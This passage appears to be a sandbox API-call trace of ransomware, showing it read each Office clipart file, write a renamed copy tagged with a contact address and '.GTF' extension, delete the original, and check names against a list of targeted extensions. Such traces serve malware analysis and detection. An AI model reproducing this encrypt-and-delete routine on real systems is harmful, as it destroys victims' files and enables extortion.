	[0181.853] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x5de2, lpOverlapped=0x0) returned 1
	[0181.868] WriteFile (in: hFile=0x55c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x5df0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x5df0, lpOverlapped=0x0) returned 1
	[0181.870] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.870] WriteFile (in: hFile=0x55c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.870] SetEndOfFile (hFile=0x55c) returned 1
	[0181.870] CloseHandle (hObject=0x55c) returned 1
	[0181.870] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.870] SetEndOfFile (hFile=0x53c) returned 1
	[0181.873] CloseHandle (hObject=0x53c) returned 1
	[0181.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg")) returned 1
	[0181.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68
	[0181.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68
	[0181.874] lstrlenW (lpString=".doc") returned 4
	[0181.874] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.874] lstrlenW (lpString=".docx") returned 5
	[0181.874] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0181.874] lstrlenW (lpString=".pdf") returned 4
	[0181.874] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.874] lstrlenW (lpString=".xls") returned 4
	[0181.874] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.874] lstrlenW (lpString=".xlsx") returned 5
	[0181.874] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0181.874] lstrlenW (lpString=".ppt") returned 4
	[0181.874] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68
	[0181.874] lstrlenW (lpString=".zip") returned 4
	[0181.874] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.874] lstrlenW (lpString=".rar") returned 4
	[0181.874] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.874] lstrlenW (lpString=".bz2") returned 4
	[0181.874] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.874] lstrlenW (lpString=".7z") returned 3
	[0181.874] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68
	[0181.874] lstrlenW (lpString=".dbf") returned 4
	[0181.875] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68
	[0181.875] lstrlenW (lpString=".1cd") returned 4
	[0181.875] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68
	[0181.875] lstrlenW (lpString=".jpg") returned 4
	[0181.875] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68
	[0181.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68
	[0181.875] lstrlenW (lpString=".doc") returned 4
	[0181.875] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.875] lstrlenW (lpString=".docx") returned 5
	[0181.875] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0181.875] lstrlenW (lpString=".pdf") returned 4
	[0181.875] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.875] lstrlenW (lpString=".xls") returned 4
	[0181.875] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.875] lstrlenW (lpString=".xlsx") returned 5
	[0181.875] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0181.875] lstrlenW (lpString=".ppt") returned 4
	[0181.875] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68
	[0181.875] lstrlenW (lpString=".zip") returned 4
	[0181.875] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.875] lstrlenW (lpString=".rar") returned 4
	[0181.875] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.875] lstrlenW (lpString=".bz2") returned 4
	[0181.875] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.875] lstrlenW (lpString=".7z") returned 3
	[0181.875] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68
	[0181.875] lstrlenW (lpString=".dbf") returned 4
	[0181.875] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68
	[0181.875] lstrlenW (lpString=".1cd") returned 4
	[0181.876] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68
	[0181.876] lstrlenW (lpString=".jpg") returned 4
	[0181.876] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.876] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0181.876] lstrlenW (lpString="J0182888.WMF") returned 12
	[0181.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.877] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=24392) returned 1
	[0181.877] CloseHandle (hObject=0x53c) returned 1
	[0181.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf")) returned 0x220
	[0181.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.877] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.877] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0181.878] GetLastError () returned 0x0
	[0181.878] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x5f48, lpOverlapped=0x0) returned 1
	[0181.880] WriteFile (in: hFile=0x55c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x5f50, lpOverlapped=0x0) returned 1
	[0181.881] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.882] WriteFile (in: hFile=0x55c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.882] SetEndOfFile (hFile=0x55c) returned 1
	[0181.882] CloseHandle (hObject=0x55c) returned 1
	[0181.882] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.882] SetEndOfFile (hFile=0x53c) returned 1
	[0181.885] CloseHandle (hObject=0x53c) returned 1
	[0181.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf")) returned 1
	[0181.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68
	[0181.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68
	[0181.886] lstrlenW (lpString=".doc") returned 4
	[0181.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.886] lstrlenW (lpString=".docx") returned 5
	[0181.886] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0181.886] lstrlenW (lpString=".pdf") returned 4
	[0181.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.886] lstrlenW (lpString=".xls") returned 4
	[0181.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.886] lstrlenW (lpString=".xlsx") returned 5
	[0181.886] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0181.887] lstrlenW (lpString=".ppt") returned 4
	[0181.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68
	[0181.887] lstrlenW (lpString=".zip") returned 4
	[0181.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.887] lstrlenW (lpString=".rar") returned 4
	[0181.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.887] lstrlenW (lpString=".bz2") returned 4
	[0181.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.887] lstrlenW (lpString=".7z") returned 3
	[0181.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68
	[0181.887] lstrlenW (lpString=".dbf") returned 4
	[0181.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68
	[0181.887] lstrlenW (lpString=".1cd") returned 4
	[0181.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68
	[0181.887] lstrlenW (lpString=".jpg") returned 4
	[0181.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68
	[0181.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68
	[0181.887] lstrlenW (lpString=".doc") returned 4
	[0181.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.887] lstrlenW (lpString=".docx") returned 5
	[0181.887] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0181.887] lstrlenW (lpString=".pdf") returned 4
	[0181.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.887] lstrlenW (lpString=".xls") returned 4
	[0181.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.887] lstrlenW (lpString=".xlsx") returned 5
	[0181.887] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0181.887] lstrlenW (lpString=".ppt") returned 4
	[0181.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68
	[0181.887] lstrlenW (lpString=".zip") returned 4
	[0181.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.888] lstrlenW (lpString=".rar") returned 4
	[0181.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.888] lstrlenW (lpString=".bz2") returned 4
	[0181.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.888] lstrlenW (lpString=".7z") returned 3
	[0181.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68
	[0181.888] lstrlenW (lpString=".dbf") returned 4
	[0181.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68
	[0181.888] lstrlenW (lpString=".1cd") returned 4
	[0181.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68
	[0181.888] lstrlenW (lpString=".jpg") returned 4
	[0181.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.888] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0181.888] lstrlenW (lpString="J0182898.WMF") returned 12
	[0181.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.889] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=15150) returned 1
	[0181.889] CloseHandle (hObject=0x53c) returned 1
	[0181.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf")) returned 0x220
	[0181.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.890] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.890] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0181.890] GetLastError () returned 0x0
	[0181.891] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x3b2e, lpOverlapped=0x0) returned 1
	[0181.893] WriteFile (in: hFile=0x55c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x3b30, lpOverlapped=0x0) returned 1
	[0181.894] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.894] WriteFile (in: hFile=0x55c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.894] SetEndOfFile (hFile=0x55c) returned 1
	[0181.894] CloseHandle (hObject=0x55c) returned 1
	[0181.894] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.894] SetEndOfFile (hFile=0x53c) returned 1
	[0181.897] CloseHandle (hObject=0x53c) returned 1
	[0181.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf")) returned 1
	[0181.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68
	[0181.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68
	[0181.898] lstrlenW (lpString=".doc") returned 4
	[0181.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.898] lstrlenW (lpString=".docx") returned 5
	[0181.898] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0181.898] lstrlenW (lpString=".pdf") returned 4
	[0181.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.898] lstrlenW (lpString=".xls") returned 4
	[0181.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.898] lstrlenW (lpString=".xlsx") returned 5
	[0181.898] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0181.898] lstrlenW (lpString=".ppt") returned 4
	[0181.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68
	[0181.898] lstrlenW (lpString=".zip") returned 4
	[0181.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.898] lstrlenW (lpString=".rar") returned 4
	[0181.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.898] lstrlenW (lpString=".bz2") returned 4
	[0181.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.898] lstrlenW (lpString=".7z") returned 3
	[0181.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68
	[0181.898] lstrlenW (lpString=".dbf") returned 4
	[0181.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68
	[0181.898] lstrlenW (lpString=".1cd") returned 4
	[0181.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68
	[0181.898] lstrlenW (lpString=".jpg") returned 4
	[0181.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68
	[0181.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68
	[0181.899] lstrlenW (lpString=".doc") returned 4
	[0181.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.899] lstrlenW (lpString=".docx") returned 5
	[0181.899] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0181.899] lstrlenW (lpString=".pdf") returned 4
	[0181.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.899] lstrlenW (lpString=".xls") returned 4
	[0181.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.899] lstrlenW (lpString=".xlsx") returned 5
	[0181.899] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0181.899] lstrlenW (lpString=".ppt") returned 4
	[0181.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68
	[0181.899] lstrlenW (lpString=".zip") returned 4
	[0181.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.899] lstrlenW (lpString=".rar") returned 4
	[0181.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.899] lstrlenW (lpString=".bz2") returned 4
	[0181.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.899] lstrlenW (lpString=".7z") returned 3
	[0181.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68
	[0181.899] lstrlenW (lpString=".dbf") returned 4
	[0181.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68
	[0181.899] lstrlenW (lpString=".1cd") returned 4
	[0181.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68
	[0181.899] lstrlenW (lpString=".jpg") returned 4
	[0181.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.899] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0181.900] lstrlenW (lpString="J0182902.WMF") returned 12
	[0181.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.900] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=7822) returned 1
	[0181.900] CloseHandle (hObject=0x53c) returned 1
	[0181.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf")) returned 0x220
	[0181.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.901] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.901] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
